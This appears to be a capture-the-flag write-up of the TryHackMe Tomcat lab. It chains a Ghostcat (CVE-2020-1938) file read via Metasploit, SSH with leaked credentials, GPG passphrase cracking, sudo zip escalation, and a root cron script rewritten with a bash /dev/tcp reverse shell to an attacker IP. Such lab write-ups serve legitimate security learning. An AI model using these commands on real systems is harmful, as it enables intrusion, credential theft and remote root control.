# TryHackMe Tomcat (Ghostcat)

## Information Gathering

### Nmap Scan

nmap -sV -sC -v -T4 10.10.203.113

- **Open Ports:**
  - 22/tcp → OpenSSH 7.2p2
  - 53/tcp → tcpwrapped
  - 8009/tcp → Apache JServ Protocol (AJP 1.3)
  - 8080/tcp → Apache Tomcat 9.0.30

```
Scanning 10.10.203.113 [1000 ports]
Discovered open port 22/tcp on 10.10.203.113
Discovered open port 8080/tcp on 10.10.203.113
Discovered open port 53/tcp on 10.10.203.113
Discovered open port 8009/tcp on 10.10.203.113
Completed SYN Stealth Scan at 03:08, 4.05s elapsed (1000 total ports)
Initiating Service scan at 03:08
Scanning 4 services on 10.10.203.113
Completed Service scan at 03:08, 7.24s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.203.113.
Initiating NSE at 03:08
Completed NSE at 03:08, 5.26s elapsed
Initiating NSE at 03:08
Completed NSE at 03:08, 0.47s elapsed
Initiating NSE at 03:08
Completed NSE at 03:08, 0.00s elapsed
Nmap scan report for 10.10.203.113
Host is up (0.14s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Gobuster Enumeration

gobuster dir -u http://10.10.203.113:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,txt,html

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.203.113:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.
3-medium.txt -t 50 -x php,txt,html
═══════════════════════════════════════════════════════════════
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
═══════════════════════════════════════════════════════════════
[+] Url:                     http://10.10.203.113:8080/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
═══════════════════════════════════════════════════════════════
Starting gobuster in directory enumeration mode
═══════════════════════════════════════════════════════════════
/docs                 (Status: 302) [Size: 0] [--> /docs/]
/examples             (Status: 302) [Size: 0] [--> /examples/]
/manager              (Status: 302) [Size: 0] [--> /manager/]
Progress: 420257 / 882228 (47.64%)^C
```

- Interesting directories:
  - `/docs`
  - `/examples`
  - `/manager`

**`Got instant crash so i had to reboot the machine with different ip address`**

```
┌──(kali㉿kali)-[~]
└─$ whatweb http://10.10.200.166:8080
http://10.10.200.166:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.200.166], Title[Apache Tomcat/9.0.30]
```

---

# ⚡ Exploitation

## Ghostcat Vulnerability (CVE-2020-1938)

- Vulnerable service: **Apache Tomcat AJP 1.3 (port 8009)**

Used Metasploit module:

use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS 10.10.200.166
run

```
msf6 > search ghostcat

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat      2020-02-20       normal  Yes    Apache Tomcat AJP File Read


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat

msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     8009             yes       The Apache JServ Protocol (AJP) port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/tomcat_ghostcat) > set rhosts 10.10.200.166
rhosts => 10.10.200.166
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
```

Retrieved sensitive info from `WEB-INF/web.xml`:

```
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.10.200.166
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>
[+] 10.10.200.166:8009 - File contents save to: /home/kali/.msf4/loot/20250829035750_default_10.10.200.166_WEBINFweb.xml_208884.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/tomcat_ghostcat) > exit
```

skyfuck:8730281lkjlkjdqlksalks

## Initial Foothold

SSH into target with credentials:

ssh skyfuck@10.10.200.166

```
┌──(kali㉿kali)-[~/TOmCat]
└─$ ssh skyfuck@10.10.200.166
The authenticity of host '10.10.200.166 (10.10.200.166)' can't be established.
ED25519 key fingerprint is SHA256:tWlLnZPnvRHCM9xwpxygZKxaf0vJ8/J64v9ApP8dCDo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:54: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.200.166' (ED25519) to the list of known hosts.
skyfuck@10.10.200.166's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc
```

---

## 🔑 Privilege Escalation to merlin

Found suspicious files:

credential.pgp
Tryhackme.asc

Imported the PGP key:

gpg --import tryhackme.asc

```
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: directory `/home/skyfuck/.gnupg' created
gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
gpg: key C6707170: secret key imported
gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
```

Cracked passphrase using John the Ripper:

gpg2john tryhackme.asc > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

- 
    - Passphrase: **alexandru**

```
┌──(kali㉿kali)-[~/TOmCat]
└─$ gpg2john tryhackme.asc > hash.txt

File tryhackme.asc

┌──(kali㉿kali)-[~/TOmCat]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru        (tryhackme)
1g 0:00:00:00 DONE (2025-08-29 03:36) 3.571g/s 3828p/s 3828c/s 3828C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Decrypted credentials:

gpg --decrypt credential.pgp
→ Output:

Merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Switched user:

su merlin

```
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jskyfuck@ubuntu:~$ su merlin
Password:
merlin@ubuntu:/home/skyfuck$ ls
credential.pgp  tryhackme.asc
```

Captured user flag:

THM{GhostCat_1s_so_cr4sy}

---

# 🚀 Privilege Escalation to root

## Enumeration

`sudo -l` result:

(root : root) NOPASSWD: /usr/bin/zip

```
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
```

Exploit **zip** misconfiguration to spawn root shell:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

### Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```

Gained root access:

#whoami
#root

## Root Flag

cat /root/root.txt

Output:

THM{Z1P_1S_FAKE}

---

**Checked cron jobs for persistent access:**

```
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /root/ufw && bash ufw.sh
#
```

`*  * * * * root cd /root/ufw && bash ufw.sh`

Exploited cron by modifying `/root/ufw/ufw.sh`:

```
# cd ufw
# ls
ufw.sh
# echo '#!/bin/bash' > ufw.sh
# echo 'bash -i >& /dev/tcp/10.9.2.109/4444 0>&1' >> ufw.sh
```

```
echo '#!/bin/bash' > ufw.sh
echo 'bash -i >& /dev/tcp/10.9.2.109/4444 0>&1' >> ufw.sh
chmod +x ufw.sh
```

- Confirmed reverse shell connection back to attacker.

```
┌──(kali㉿kali)-[~/TOmCat]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.2.109] from (UNKNOWN) [10.10.203.113] 47886
bash: cannot set terminal process group (7252): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~/ufw# ls
ls
ufw.sh
root@ubuntu:~/ufw# cd ..
cd ..
root@ubuntu:~# ls
lcas
root.txt
ufw
root@ubuntu:~cat ufw.sh
cat ufw.sh
cat: ufw.sh: No such file or directory
root@ubuntu:~# ls
ls
root.txt
ufw
root@ubuntu:~# cat root.txt
cat root.txt
THM{Z1P_1S_FAKE}
root@ubuntu:~# ls
```

## 🏁 Summary of Flags

- **User Flag:** `THM{GhostCat_1s_so_cr4sy}`
- **Root Flag:** `THM{Z1P_1S_FAKE}`

---

**Mission Accomplished**: full compromise via Ghostcat → PGP decryption → privilege escalation with `zip`.
Or crontab

---